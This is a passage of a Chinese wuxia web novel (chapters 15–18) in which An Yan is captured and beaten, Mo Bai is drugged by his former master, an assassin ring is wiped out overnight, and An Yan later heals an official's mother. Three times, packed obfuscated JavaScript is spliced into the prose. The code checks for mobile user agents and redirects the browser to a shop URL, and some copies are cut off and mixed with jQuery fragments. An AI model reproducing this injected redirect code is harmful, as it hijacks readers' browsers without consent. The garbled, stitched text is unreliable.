墙上几盏烛灯幽微明灭,屋内弥漫着潮湿的霉味,她想转身,却因被绑在椅子上而动弹不得。 她试着挣扎了一下,内力似也被药物封住了,忽听身后响起一个冰冷的声音:“你终于醒了。” 随即,一个年轻男人走到她身前,她抬起头,看见了那男人鼻梁上的黑痣。 “你是……何三?” “我名字太多,你就叫我何三也行。”何三冷然俯视着她,“我听见你在找我,你有什么事?” 安晏沉眉注视着他,他定然不是一个真正的乞丐,但他……是谁? 她心里倏忽一顿:“那个乞丐呢?” “嗯?”何三偏了头,“哦,你问小八?他当然死了,不然你以为呢?” 安晏咬了咬下唇,心中不由得浮起刺痛和内疚——又因为她,牵连另一个人失去了性命。 何三已渐渐不耐:“你到底找我做什么?” 安晏默了默,眼中映着烛火冥冥的光:“你……究竟是谁?为何那日要向郡尉说谎,将杀人罪名诬陷于我?是有人让你这么做的,对不对?那个人,是谁?” 15. 沾满了死人的血 何三终于沉凝起目光,微微俯下身,仔细打量了安晏半晌。 “原来是你。”未几,他从喉间发出一声冷哼,“你以为自己是在王侯府里做娘子吗?你问我,我就要告诉你?” 安晏受制于人,只得尽量恳切道:“我已经被你绑住,你还怕我走漏消息不成?我只是想知道真相而已。” “真相?”何三一顿,忽然抬手狠狠扇了安晏一个巴掌。 “老子平生,最厌烦你们这些道貌岸然的家伙。”他一把抓起安晏的头发,迫使她扬起头,毫无半分怜香惜玉之意,“你要追求真相,你为了你的目的,去追查一个不该查的人,偏又如此大摇大摆鲁莽冲动——你可知你这一举动,要害死多少人?” 安晏不由得一惊——他知道她在追查伏焱?他说她会害死很多人,又是从何说起? 她分辩道:“我是为了救人,怎会害人?” 何三一把甩开她,冷笑道:“反正你就要死了,让你做个明白鬼也无妨。后半夜,夜老板就要带我们几个兄弟,在兴德郡大开杀戒了。” 安晏更加惊骇:“你们……你们要做什么?为什么?”早已顾不得细想他口中的“夜老板”究竟是谁。 “你问我为什么?”何三好笑地说,“那姓顾的已经怀疑到我头上,顺藤摸瓜找到夜老板,不过是迟早的事。刑审院的人也在路上,我们必须离开兴德郡——离开之前,杀死所有认识我们的人,这不是常识吗?” 安晏手心已冒出冷汗:“你们……不怕惊动朝廷吗?你们要杀多少人,你们……如何能在短短一夜之间……你们究竟是谁?你们究竟有多少人?” 何三的目光不无轻蔑:“你们这些仁人义士,空有一身武功,却不知该如何杀人。就像现在,论剑术,我不及你,可你不还是被我绑在地牢,无计可施?” 安晏不由得沉默了。 她无法反驳。她不会杀人。她既不够狠心,也不够果断,她……有愧于许姨姨教给她那么厉害的剑法。 末了,她垂下眼睫:“你们也在找伏焱吗?” 何三一怔:“是又如何?” “你们和伏焱有什么关系?你们找他做什么?” “与你何干。” “难道……你们在保护他吗?” 何三冷然道:“他早晚会是我们的人。” 安晏一顿,忽忍不住笑了:“不可能的,伏焱不可能听从任何人的命令。你也好,你那个夜老板也好,你们……恐怕都要失败了。” 何三突然不说话了。 他突然一脚,狠狠踢在安晏胸口正中。 安晏连人带椅翻倒在地,这一脚携了内力,虽不比她,但用了十成力气,也足够让她猛地咳嗽起来。何三却未罢休,走到她身边,又接连踢了她数脚。 “若不是你突然插手……若不是因为你,我们早就成功了!”何三盛怒道,“我们一定会成功!你快要死了,再没有旁人打乱我们的计划,他早晚会是我们的人!” 安晏无法防御,再加上药力渐渐发作,她愈发觉得头晕目眩。幽幽烛火仿佛冥泉鬼影,忽有一脚踢中她心口,疼痛蔓至全身,她眼前一黑,便此坠进了无边无际的长夜。 ———————————— “这牛肉做得不错,肉质细软,又很有嚼劲。”夜老板细细品尝着嘴里的牛肉,仿佛他真的只是一个美食家,“酱牛肉一菜,是我的拿手绝活,这菜看似简单平常,火候、时辰、牛身部位,都极有讲究,腌肉配料亦是我研制十余年所成。可惜我那几个徒儿,资质都太愚钝了。” 墨白道:“关于伏焱和我的身世,你究竟还知道什么?” 夜老板手中竹筷顿了顿:“我吃了十片牛肉,你问了我十遍同样的问题。我辛苦做了一晚,你倒是吃一片尝尝?” 墨白面无表情,第十一遍问道:“关于伏焱和我的身世,你究竟还知道什么?” 夜老板终于长声叹了口气:“你问到天明,我也说不出更多了。难道你以为这些,阁主会告诉我吗?” 墨白不再问了,却也不说话。 夜老板无奈道:“罢了,我就将我所知道的,都告诉你吧。”他顿了顿,“十几年前,阁主还未继任时,确实曾让我监视一个女子。那女子住在南疆,似乎和前阁主也相识。后来,那女子病故,阁主亲自去了南疆,而后——瞒着麒麟阁上下所有人,带回了你。这件事,只有我知道。” 墨白望着夜老板,目色如晦。 “可那女子究竟是谁,又与阁主有何渊源,我并不知晓。”夜老板执起一壶酒,仰面喝下。 墨白冷然道:“你没有查过?我不信。” “我当然查过。”夜老板扯了扯嘴角,并未因墨白的质问而发怒,“可是我什么都没有查到,她好像凭空出现在南疆一样,没有任何亲人,没有任何朋友,唯一与她有关的,只有当时仍然年幼的你。” 墨白眼睫微动:“那女子,是我的娘亲?”他的故乡,竟是南疆吗? 夜老板却摇了摇头:“我不清楚,村子里的人称她白姑娘,也说她是你的娘亲,但我找不到凭证。我甚至无法肯定,那是她真正的姓名。” 墨白沉了眉心,又问:“那个时候,伏焱呢?” 夜老板仍摇了摇头:“我从未见过伏焱,也不曾听阁主提起。直到最近,成州一案震惊朝野,我才从何三那儿,听说了伏焱的事。” 墨白默了半晌,静静道:“你也并未查到伏焱与我的联系,你没有查到凭证和依据。” 夜老板再次笑了:“我都说了,这天底下除了阁主,若还有第二个人知道你的身世,知道伏焱的身世,那便只有薇娘了。” 墨白瞬也不瞬地看着夜老板,似乎在分辨他的话有几成是真,几成是谎。半晌,他换了一个问题:“他封了我的记忆,又是为何?” 夜老板再夹起一片牛肉:“这件事,直到你被送来线部,我才知晓。”目光微染叹息,“许是南疆那两年,你身边净是些不好的事——食不果腹,孤苦无依,娘亲也走了,阁主怕你思乡难过,才会封住你的记忆。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956552|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨白眸色幽沉:“如此说,义父都是为了我好?” “我知道,你现在已不相信他了。”夜老板轻叹道,“但我与阁主,相识几十年,我知道他是真的在意你。他膝下无子,也是真的将你当亲生儿子一般看待,即使当年送你来我这习武,他也特意叮嘱了我,不要让你受太多苦。” 墨白冷笑一声:“你没有听。” 夜老板也笑了笑:“习的是杀人的技艺,哪有不吃苦的?若你学无所成,一入江湖便身陷险境,到时候,他只怕更要怨我。” 墨白的眸子又暗了下来,却未再言。 夜老板将牛肉向墨白那边推了推:“你不饿吗?吃点东西吧。或者你想吃些其他的?”见墨白仍不为所动,他又叹了声,“我这双手,沾满了死人的血,一身所长,都是些上不得台面的肮脏事。我已经忘记了普通人的生活该是什么样子,每天少有空闲的时间,就在厨房里做些吃的,好像这样,我才能像一个——人。” 说到这里,他顿了一顿。 轻烟袅袅,烛火一星,昏黄中似燃烧着残破的梦,最后,却只留下了无垠的寂寞。 “酒菜里没有下毒,当然,也没有解药,只是很普通的酱牛肉和海棠酒罢了。”等不到墨白的回应,夜老板便径自说了下去,“我不会在亲手做出的食物中下毒,我也不会杀你。其实你心里清楚,如果我杀了你,杀了麒麟阁实际上的少阁主——阁主和暗部一定会追杀我至天涯海角,至死方休。” “我只是真心觉得,这酱牛肉味道不错。”夜老板话音温凉,却又仿佛有些失落,“但你终究不会信我,那也罢了。” 墨白静了静,终于伸出手,拿起了筷子。 夜老板微怔。 墨白仍旧未言,但他夹起一片牛肉,放进了嘴里。 “味道如何?”等他咽了,夜老板倾身便问,目光竟似被烛光点亮,而流露出纯真的期盼。 墨白点了点头:“不错,入口细腻,质感未失,香料也……” 他忽然一顿,头脑内瞬间冲上一股难以抵御的晕眩。 “你……”他霍然起身,又随即跌坐回木椅上,头脑昏聩如冥,短短瞬息,他竟已看不清夜老板的脸!“你骗了……我……” 夜老板悠悠地笑了:“墨,兵不厌诈。” 墨白心中恼恨,一个时辰之内,他竟接连中了两次暗算! “看来,是政部的日子太安逸了,你才会把我教给你的,都忘了。”夜老板起身走到墨白身侧,温柔地抚了抚他的头顶,像一个痛心爱徒恨铁不成钢的师长,“不过,我确实不会杀你,这药只会令你沉睡,天亮之后,药效就解了。” 墨白挣扎着,可眼前已是一片漆黑。 夜老板的声音仿佛从冥河对岸传来:“我要离开这里了,今晚的事,就当作一场梦吧。这次,我没有拿走你的记忆,但也不会再让你轻易找到我了。” 墨白已不能言,最后一线清明消失之前,他的脑海中,却浮现出安晏沐着夕光,温暖有如神祗的脸。 16. 给小大夫的礼物 快一点,快一点。 他在心底呼喊着,努力地迈开双腿,可是严冬雪冷,他被裹成了一个厚厚的粽子,他已经很努力了,可还是怎么也赶不上—— 他在追赶谁? 茫茫的雪化成了雾,不远处朦胧的影子向他走来。那影子弯下腰,朝他伸出手,他便欢欣雀跃地向前跑去—— 却不小心摔在了雪地里。 雪水冰凉凉地沾湿了脸颊——墨白倏忽一惊。 他再次醒了。 他趴在吉祥酒楼大堂内的木桌上,头痛得几欲裂开。但他顾不得理会,也顾不得细思方才梦境的含义,他甚至还未恢复视野的清明,就匆忙起身,隐约辨认着光亮,步履蹒跚地向门外走去。 他犹记得在他失去意识之前,夜老板说过的话。每一句话。 夜老板说,他要走了。 他说,他即使不死,可能也见不到她了。 他究竟昏睡了多久?天似乎已渐亮了,现在是什么时辰?安晏那边都顺利吗?她仍在郡尉府吗?——他倒宁愿她仍在郡尉府,那里好歹有值守的侍卫,夜老板的人也无法轻易潜入。即使动静闹大,她也被官兵抓了,那倒是小事。他总有办法能救走她。 堂中到大门十几步远的距离,他的脑子里已转过了十数个念头。 门扉间漏下几缕光亮,街上仿佛传来若有若无的人声,他不由得加快了脚步—— 却突然被绊了一下。 墨白慌忙扶住一旁桌沿,身子略晃了晃。他凝眸向地上看去——便怔住了。 他看见了夜老板。 确切地说,是已然死去的夜老板。 夜老板额头正中插着一把小刀,是昨夜他掷在桌上的那把。鲜血从额头两侧流下,早已乌黑干涸,那双眼却仍圆睁着,仿佛带着惊惧、兴奋和不可思议。 墨白只觉头脑一钝。 视野终于渐渐清晰,他抬目向四周望去,宽敞的屋堂中没有一个人影,地上,却横着七八具尸体。 每具尸体的头骨里,都插着一支竹筷。 墨白一时竟不知该摆出怎样的表情。昨夜他昏迷之后,吉祥酒楼究竟发生了什么?是谁杀死了夜老板?——这个武功极高,甚至更胜于他的杀人者,又为何会放过了他? 是暗部的人吗?是朝廷的人吗?抑或,是…… “砰”地一声巨响,酒楼大门被撞开了。 阳光携裹着潮热的风涌进酒楼,他忽然便放松了,将整个身子的重量靠上木桌,缓缓地滑坐下来。 “……墨,墨公子?”来人是安晏。 她三两步冲到墨白身边,难掩满目焦急:“你,你没事吧?你有没有受伤?这里……” 她忽然顿住。 撞开门时,她也看见了一地横斜的尸体,只有墨白,是唯一活着的人。 “安姑娘,”墨白轻声唤她,语音温柔而疲弱,“我没事,你怎么来了?你身上……你受了伤?” 一身绿衣沾满泥土,头发披散开来,脸上竟有几块淤青——她不是去郡尉府打听消息吗?怎会受了伤?莫不是真的被侍卫察觉,好不容易才逃出来? 不过,听她气息,应该至多是些皮肉伤。 “我……没事。”安晏却未多说,紧紧蹙着眉心,“墨公子,你为何会在此处?” 墨白很无辜地皱起眉:“我……也不知道。早上,你离开农院,谢姑娘忽称乏了,于是回屋睡觉,我也渐渐有些困意,然后……再醒来,就到了这里。” 安晏眉头皱得更紧了,但她没说什么,上前一步,抓过他手腕,将三指搭在他脉搏上。 墨白知道安晏的怀疑,换做任何人,只怕都要认定他就是杀害厅中数人的凶手。但他却只不动声色地任由安晏掌脉,一边故作疑惑地开口:“安姑娘,地上那些人,你认得吗?” 安晏摇了摇头:“我不认得。” 墨白抿紧了嘴唇,静了静又问:“那这里……是什么地方?我看着像一间酒楼,那边桌上还留着残酒,这里……是兴德郡吗?” “是兴德郡的吉祥酒楼。”安晏道。 “吉祥酒楼?先前来时,我倒未留意。”墨白若有所思,“安姑娘,我总觉头疼得紧,我是不是……被人下了迷药?” 安晏松开手,从怀中掏出一个小瓶:“是,而且,是两种不同的药。这解药虽不完全对症,但迷药本身也于身体无害,你吃下一丸,至少不会再头疼了。体内的药,再过一段时间,应该就能自行消解。” “两种?”墨白依言吃了药,故作疑惑道,“那人为何要给我下两种迷药?” “两种迷药药力不同,但他完全可以只给你用第二种,为何要先用第一种,我也不清楚。或许,是第一种迷药药力太弱,你在路上即有转醒之象,他为确保你不会中途醒来,于是又用了第二种。”安晏叹了口气,似乎不再怀疑墨白了。她转身去检查地上那些尸体,一边向墨白解释道,“我会来吉祥酒楼,是伏焱告诉我的。” “伏焱?”墨白一愕,“你见到伏焱了?” “我没有见到他。”安晏叹道,“或者,应该说,是他救了我。” 接着,安晏便将她夜探郡尉府,问出乞丐何三,再去那小巷中,却被何三偷袭,关进了地下牢房一事,向墨白描述了一番。 墨白半是震惊半是焦灼,想要起身,头脑却仍有些晕眩,终究还是坐了回去:“你身上的伤,是不是那个何三所为?那个何三,究竟是谁的人?” 问题刚一出口,脑中忽然闪过—— “直到最近,成州一案震惊朝野,我才从何三那儿,听说了伏焱的事。” 竟是夜老板叫人带走了安晏,原来他竟还说了一句真话。他竟真的,想杀安晏。 “何三的内力不如我,我伤得不重。”安晏低声道,“我也不知道何三背后的人是谁,我……也中了迷药,被他打晕过去,再醒来时,他已经死了。” “死了?”墨白眼皮一跳。 “是伏焱杀的。”安晏轻叹一声,目光露出些许踟蹰,“我……醒来时,已被人松了绑,药力也过了。而何三,就死在地牢中,我身前。” “我自己拿上剑,离开牢房,穿过外面一道幽深的走廊,在入口处,又见到其他几具尸体。”安晏细细回忆道,“那地牢入口,隐藏在一家伪装成普通民居的后院,民居里的人,也都死了。” 墨白不由得蹙起眉:“那你是如何知道,这些人,都是被伏焱所杀?” “我醒来时,手中有一张纸。”安晏从腰间摸出一张叠成小块的纸条,将它递给墨白,“那些人都是一击毙命,凶手武功必然极高,若不是伏焱,我也实难想象还会是谁了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956553|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 墨白小心地展开,不禁微微一怔。纸上笔迹端正,清隽如竹,竟仿佛出自雅士之手。 只有七个字。 “小大夫,吉祥酒楼。” 虽未署名,可想来称安晏作“小大夫”之人,也只有伏焱了。 墨白抬头看向安晏:“所以,你就来了这间酒楼?” “是啊,但我原以为,会是伏焱在这里等我。”安晏愁眉苦脸地点点头,又思忖片刻,忽而双眼一亮,“墨公子,你有没有搜索过这间酒楼?你醒来的时候,手边有没有类似的纸条?” “我并未留意……”墨白才说半句,瞬即明白了安晏话中之意! 伏焱既然知道吉祥酒楼,夜老板的死,或许也是伏焱所为! 他连忙起身,匆匆走向昨夜那张木桌。 ——果真,烛台之下,压着一个信封。 信封上端端正正地写着七个字:“给小大夫的礼物。” “竟真是伏焱,他到底要……”安晏凑上前看,却和墨白一起顿住了。 和留给安晏的字条不同,这回,伏焱竟写满了整整四张纸。 夜老板的计划,他要杀的人,以及兴德郡城所有杀手——尸体所在。 一行行看去,安晏神情愈发沉肃,墨白的一颗心却似落进了冰窟。 他在麒麟阁线部做了十年的事,也多少知道一二——伏焱竟在一夜之间,摧毁了线部近三成兵力!线部的总管夜,也毫无还手之力地死在了伏焱手上! 要知道,自二十二年前几大门派接连灭门,麒麟阁一跃而成一流门派,这些年更是逐渐发展壮大,已俨然有江湖霸主之势。线部主司情报,虽不以武功见长,但杀死一部总管,也绝非易事! 伏焱的武功,究竟有多高?他若与他单打独斗——恐怕会输。 又不禁斜目看向安晏,她一路追着伏焱,想必知道伏焱武功之高。她打算如何赢?难道—— 突然,安晏伸出手,将墨白手中的信纸抽走了。 “这信上所写太过血腥,你还是……不要看了。” 墨白微怔,继而从善如流地笑道:“好,那我便不看了。”他早已看完了,也已记住了,“你打算去信上所写的地方看一看吗?” “不了……”安晏犹豫半晌,终还是摇了摇头,“谢姑娘是不是仍在那农院里?听你方才描述,她应该也被人下了迷药,才会突然乏力。我虽叮嘱过她不要乱跑,可我担心她醒来不见你我,心急之下,仍会冒险到郡城来。” “好。”墨白温声应着,“那这封信,你想如何处理?” 安晏想了想道:“回去路上,扔给马郡尉吧。”静了静,却又叹道,“伏焱此举,虽杀了很多人,却救了……更多,无辜的人。墨公子,你知不知道……他究竟在想什么?” 墨白一顿。她没有看他,他的目光渐而凉了下去,话音却仍温和有如春水:“我不知道伏焱在想什么,但我知道,你在想什么。你在想,或许他并非十恶不赦的杀人魔,你在想,是不是真的应该杀死他,对吗?” 安晏沉默着,良久,却只发出一声低叹:“走吧,门外已聚了百姓,再过不久,官兵就该来了。” 她确实犹豫了。 二人从酒楼后门离开,沿小路向郡尉府走去。长街朝阳初升,和风吹拂,却在安晏心底打成了死结。 17. 大侠就是我的再生父母 天气渐渐热了,又渐渐凉了。 秋风将山野染上金黄,碧空澄澈如一面倒扣的湖泊,安晏几人早已离开兴德郡,正向南走去。 吉祥酒楼一案死者数十人,他们在现场而未受波及,自然有重大嫌疑。兴德郡是不能留了,三人一边打听线索,经成州至俞州,一路向南行走。再向前十里就是兴明县,安晏见谢新柳神色疲倦,便提议在树荫下小憩一刻钟。 “此番南下,山路愈多,我实在要提议租一辆马车了。”秋初的晌午,日头仍有些灼晒,墨白掏出绢帕,擦净颊边细汗。不过,与一身疲倦坐在地上的谢新柳和拿着蒲扇奋力扇风的安晏相比,墨白青衣长衫,温文尔雅地立在树下,倒像是世外仙人了。 “此议甚合我心。”安晏用力地点头,又皱眉盘算了片刻,“银子也还够,我们被通缉之后,不再去城内住店,倒省了不少银子。” “你有武功,本不需要马车,倒是我和谢姑娘连累你了。”虽然如此说,但墨白笑意盈盈,全然没有半分愧疚的模样。 就好像他很喜欢连累她似的。 然而安晏担心谢新柳多想,还是连忙安慰道:“有马车可坐,谁喜欢走路不是?银子也不用担心,师父说……”她忽一蹙眉,“诶,你们,有没有听见——好像是呼救声?” 墨白笑得眉眼和睦:“若是数里外的声音,我们二人,如何能听见呢?” 安晏又看向谢新柳,后者果真摇了摇头。 “我……去看一眼吧,你们在这里等我。”安晏踟蹰半晌,终究还是对那声音的担心占了上风,“山路陡峭,你们千万不要乱走。” “嗯。”墨白没有阻止,“你小心一些。” 呼救声,他自然听得真切。他也自然不想多管闲事。不过,那声音在他们的必经之路上,安晏迟早会察觉,也一定会去救人,倒不如,就随她去吧。 他还未能决定,是否要和安晏一起去南疆调查。只是……南疆,真如夜老板所言,是他的故乡吗?可他梦中的苍山白雪,又是什么地方呢? ———————— 安晏沿山石攀上,呼救声愈加清晰,前方不远,是一个几人高的断层,向下望去,断壁间伸出一树虬枝,一个年轻男子正挂在那树枝上,声音时高时低地呼救着。 确切地说,是树枝穿过他背上的竹筐,令他挂在了那横生的树上。 “哎!”安晏叫他。 突然听见回应,那男子激动得身子一抖,然而他无法转头,只得恳请道:“你,你能救我上去吗?我为母治病,上山采药,却不慎滑倒了……或者,你能帮忙去县衙叫人,过来救我吗?我是兴明县令事师成礼,虽然……不算大富大贵,但必将倾尽全力,报答恩人……” “你待着,不要乱动啊。”安晏没有理会师成礼絮絮之言,估算了一下距离和树枝的承重力,便从崖边一跃而下。 双脚踏上,树干轻轻一颤,无数片黄叶如蝶,扑簌簌地飘飞而起。紧接着,师成礼就被安晏拎了起来。 “啊——”他吓得魂飞魄散,可这一声惊呼还未叫完,安晏已飞身回到了断层上,将他放了下来。 师成礼呆怔怔地立了半晌,才猛地回过神,忙不迭地躬身道谢:“多谢大侠!大恩大德,没齿难忘!大侠就是我的再生父母!若有任何要求,我……” “哎,”安晏直皱眉头,打断道,“你方才说,你是兴明县令事?” 师成礼点点头:“是啊。” 看他一脸平常,只仍残留着惊魂未定的样子,她此刻并未易容,他身为令事,竟然——不认识她这个通缉要犯?但安晏并未多说,只又问道:“你方才还说,你是为母治病,上山采药?” 师成礼仍然点点头:“是啊。” 安晏不禁疑惑:“令堂生了什么病?兴明县难道没有大夫,还要你一个外行,亲自上山采药?” 师成礼抓了抓头发,神色微赧:“不瞒大侠,家母病症时轻时急,县城内几个大夫的药,也不总是有效。我想着,不如到山上来找一找,若有人参等物,或许……就能治好家母的病了。” 安晏目瞪口呆地看着他,仿佛对面站着一个傻子:“你,该不会真觉得,人参治百病?” 师成礼一脸无辜:“难道不是吗?” 安晏觉得自己的头顶一定在冒烟:“算了,幸亏你没挖到人参——你在俞州也不可能挖到人参。你先随我来吧,我还有两个朋友,正在山腰等我。”她说完转身,顿了顿,又补充了一句,“我是大夫,你带我入城,我会为令堂诊病。” “多谢大侠……”师成礼连忙抬脚——这一动,脚腕忽传来剧痛,他不由得倒吸了一口气。 安晏闻声回身:“怎么了?” 师成礼呲牙咧嘴地扶着腿:“好像……是脚腕扭伤了……” 安晏无可奈何地叹了口气,蹲下身:“上来吧,我背你。” ———————— 墨白在看到安晏背着一个年轻男子下山的时候,他的瞳孔微微地缩了缩。 但他非常礼貌地没有说什么,看着安晏走到树荫旁,放下那个男子,而后对他道:“你把裤脚卷起来,我看看你的伤。” “是,多谢大侠。”在卷裤腿之前,师成礼先向墨白和谢新柳问候道,“这二位就是大侠的朋友吧?幸会幸会,我叫师成礼,是兴明县令事,今日上山为母采药,不慎……” “可以了。”安晏直皱眉头打断了他,“赶紧上了药,还要去给令堂诊病。” “哦,是,是。”师成礼于是乖顺地闭了嘴,拉起裤脚,脚腕肿了一大片。 安晏找出一小罐药膏递给他,他连连道谢地接过,一边问道:“尚不知大侠与这两位朋友姓名,他日若有机会,定要报答大侠恩德。” “报恩就不必了,但你不要再叫我‘大侠’。”安晏道,“我姓……”忽然一顿,“许。”目光下意识地瞥向墨白,“你以后叫我许姑娘就可以了。” 墨白心领神会,说谎说得面不改色:“我姓白,这位小姑娘姓柳。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956554|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哦,那多谢许姑娘,也多谢白兄台和柳姑娘。”师成礼抬目谢过三人,低下头,手指忽顿了顿,又抬起头看了墨白一眼。 后者正笑如春风地看着他,目光不知其深。 师成礼慌忙低了头。 他竟破天荒地不再多言,沉默地涂抹完药膏,还给安晏:“那个……接下来呢?” 安晏转头征询墨白:“他母亲生病在家,我想去看一看。要不,你们在城外等我?” 墨白笑着道:“不要紧,一起去吧。这位是令事大人,不是吗?” “……也好。”墨白的意思她也想到了,跟着师成礼,他们或许更加安全。 谢新柳从地上拍拍衣摆起身,站到了墨白身边,师成礼看看这个,又看看那个:“大人可不敢当。那还是……许姑娘背着我?” 墨白很适时地接话道:“不,我背着你。” ———————— 四人一行果真毫无阻碍地进了城,师成礼家住城东,母亲常犯头疾,已有七八年了。平日里大多只是些钝痛,不至影响生活,然而发作起来,痛彻脑髓,夜不能寐,病甚时直欲求死。最开始几年,县城大夫开的药尚能缓解疼痛,可今年,那头疾发作愈发频繁,大夫的药,也不再有用了。 安晏思索了一路,到了师成礼家中,又摸了两刻钟的脉。 她终于抬起手,师成礼尚未说什么,倒是墨白问道:“很难治吗?” 师成礼不知道,他却明白安晏医术有多高,诊脉诊了足足两刻钟,他还从未见过。 “老人家陈年旧疾,要在短时间内治愈,自然麻烦一些。”安晏长长地吐了口气,回身对二人一笑,“不过,不难。” 师成礼走上前,面露惊喜:“许姑娘,许大夫,我母亲的病,有救了?” “放心,头疾之症,还难不住我。”安晏笑靥清朗,“只是,令堂毕竟年事已高,这次我虽能治好,也难保不会复发,此后还需常年调养,冬春之交,更要注意。” 师成礼激动地连连点头:“好,好,许大夫,只要我母亲能病愈,不再犯这头疾,我……” “好了。”安晏怕他又说个没完,连忙抬手制止道,“我需在房中为令堂施针,你们都出去,别在这打扰我。如果你们没事做,就去做饭,打扫房间,我们今晚恐怕来不及出城,要在城内过夜了——总之,绝对不要打扰我。” “好。”墨白已非常自觉地起身,打开房门,“那我们备好晚饭等你。” 师成礼又道了声谢,随墨白和谢新柳走出屋子。天边日已西斜,灰砖灰瓦镀上金色,这简陋的一进小院,仿佛也终于染了生气。师成礼抬头看着墨白,踟蹰地道:“要不……我出去买菜,白兄台和柳姑娘,就请先在屋内休息?” “好。”然而,墨白却毫无怀疑,笑容宜人地答应了。 倒是师成礼仿佛揣着满腹心事,又犹豫了半晌,才终于向二人告辞离去。 ——离开家中,他却一瘸一拐地,径直向县衙走去。 18. 你终于来找我了 师成礼在县衙外的告示板上,看到了安晏和墨白的通缉令。 虽说那二人姓氏与通缉令上所写不同,但师成礼几乎可以笃定,他们就是画像上的二人。 县衙士卒已经下值,偶有几个晚归的掾吏,见了他,远远地抱拳行礼。他心不在焉地应了,又在告示板前站立许久,终于抬脚,蹒跚地离开了。 他买了几样简单蔬菜,并半只鸡,终于回了家,一屁股坐进椅子。安晏仍施针未出,墨白坐在他对面,笑吟吟地将茶水推给他:“师大人此行,可还有所收获?” “菜铺离得倒不远,只是我这脚,实在不方便。唉,又怕你们不熟悉,而且,我在史大娘那买了十年菜,她每次都少收我几个铜板。我倒不是贪图那几个铜板,实在是,这些年为我母亲买药求医,花了不少银子,令事的俸禄也不高,我都已经二十四岁了,连娶媳妇的钱都没攒够……”师成礼絮絮叨叨地说,一口喝下茶水,有些心虚地不敢直视墨白。 他却没听出墨白的一语双关。 “师大人不用担心,只要令堂的头疾不会再犯,过些年,你自然就攒够礼钱了。”墨白弯着眉眼安慰道,目光微暗一瞬,转向师成礼放在地上的竹篮,“只是,我和柳姑娘都不大会做饭,可能要麻烦师大人从旁指导了。” “你和柳姑娘都……不会做饭?”师成礼怔了怔,只得叹息着起身,“算了算了,还是我来吧。” “倒也不算完全不会,只是很少去厨房,怕做出的饭菜,实在难以入口。不过,帮师大人打打下手,总是可以的。”墨白抢先拎起竹篮,另一手扶住师成礼的身子,“柳姑娘也一起去吧?” “好。”谢新柳立即站了起来。 “那……那就麻烦你们了。”师成礼扶着墨白,呲牙咧嘴地跨出门槛。 —————————— 直到夜深如墨,星野四垂,安晏才终于推门而出。 饭菜早已做好,都在厨房温着,师成礼、墨白和谢新柳正在屋子里一边等候,一边聊天——当然,主要是师成礼在说,尽是些邻里巷间鸡毛蒜皮的小事。 安晏一脸倦容,进屋后直扑向桌上的茶壶:“太渴了,让我……” 墨白已先一步拿走了茶壶:“茶凉了,对身体不好,我去烧一壶热的。” 他说完就端着茶壶茶盏,起身走了,安晏颇为古怪地望着墨白的背影,忽觉身侧一人拉住了她的衣袖。 一转头,便见师成礼正急切地望着她。 “许姑娘,我母亲她,她怎样了?” “令堂正在熟睡,要一个时辰之后才醒,你不用担心,已经没事了。”安晏坐下,笑着拍了拍师成礼的手,问道,“你们吃过饭了?” “还没有。”师成礼松开手,也松了口气,“白兄台说要等你一起,饭菜都在厨房,我去拿来。” 他说着就要起身,安晏一把将他按坐回椅子上,笑着道:“你脚伤未愈,我来吧。” —————————— 饭后,几人将无人居住的西厢房收拾出来,给安晏三人暂住。师成礼的母亲醒了,感觉神志清明了不少,连带着身子也轻盈爽利了。听说是安晏治好了她的头疾,她直要磕头道谢,安晏劝了半天,墨白和师成礼也跟着劝了半天,老人家才终于打消了念头。这一阵折腾,夜已入半,安晏躺倒在床上,几乎瞬间就沉入了睡梦。 次日吃过早饭,安晏又为老人家诊了诊脉,相较昨日,脉象已平稳有力许多。随后,她让师成礼拿来笔墨,给他写了四副药方:“令堂头疾暂时无碍,但日常调养,仍必不可少。一年分四季,时节不同,用药各异。这四副方子,春夏秋冬,每季一副,若能坚持三年,便可彻底根治。” 师成礼小心地拿过药方,看了半晌,最后抬起头:“你们……要走了?” “是啊,我们确有要事,不能久留。”安晏起身,墨白和谢新柳已经收拾好包裹,也将她的行囊一起拿来,她向师成礼告辞,“我们这就走了,兴明县城西,有租马车的地方吗?” 师成礼似乎欲言又止:“有倒是有……” 安晏于是问:“可是对这几副药方,还有什么疑虑?” “不是不是,我……”师成礼连忙否认,说到一半却又顿住,未几,终于踟蹰着开口,“我自然相信许姑娘的医术,只是,那个,我是想说,诊金……” 安晏一怔,噗嗤笑了出来:“你昨日留宿我们,就当付过诊金了。” 师成礼拧着眉头:“这怎么行?许姑娘既是我的救命恩人,又是我的救母恩人,我无以为报,怎能连诊金都不付?” 安晏笑眯眯地道:“我的诊金要黄金十两,你付不起。” 